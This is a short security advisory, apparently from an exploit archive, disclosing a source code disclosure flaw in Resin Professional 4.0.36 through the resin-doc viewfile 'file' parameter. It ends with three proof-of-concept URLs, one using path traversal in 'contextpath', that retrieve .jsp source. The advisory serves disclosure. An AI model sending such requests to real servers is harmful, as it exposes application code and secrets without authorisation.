39 lines
No EOL
1.3 KiB
Text
39 lines
No EOL
1.3 KiB
Text
Resin Application Server 4.0.36 Source Code Disclosure Vulnerability
|
|
|
|
|
|
Vendor: Caucho Technology, Inc.
|
|
Product web page: http://www.caucho.com
|
|
Affected version: Resin Professional Web And Application Server 4.0.36
|
|
|
|
Summary: Resin is the Java Application Server for high traffic
|
|
sites that require speed and scalability. It is one of the earliest
|
|
Java Application Servers, and has stood the test of time due to
|
|
engineering prowess.
|
|
|
|
Desc: The vulnerability is caused do to an improper sanitization
|
|
of the 'file' parameter when used for reading help files. An
|
|
attacker can exploit this vulnerability by directly requesting
|
|
a '.jsp' file for example in the root directory of the server
|
|
to view its source code that might reveal sensitive information.
|
|
|
|
Tested on: Resin Professional 4.0.36 (built Fri, 26 Apr 2013 03:33:09 PDT)
|
|
Java HotSpot(TM) 64-Bit Server VM 23.3-b01
|
|
4 cpu, Windows 7 amd64 6.1
|
|
|
|
|
|
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
|
|
@zeroscience
|
|
|
|
|
|
Advisory ID: ZSL-2013-5144
|
|
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5144.php
|
|
|
|
|
|
01.06.2013
|
|
|
|
--
|
|
|
|
|
|
http://127.0.0.1:8080/resin-doc/viewfile/?file=index.jsp
|
|
http://127.0.0.1:8080/resin-doc/viewfile/?contextpath=/.\../&servletpath=&file=index.jsp
|
|
http://127.0.0.1:8080/resin-doc/viewfile/?contextpath=/.&servletpath=&file=index.jsp |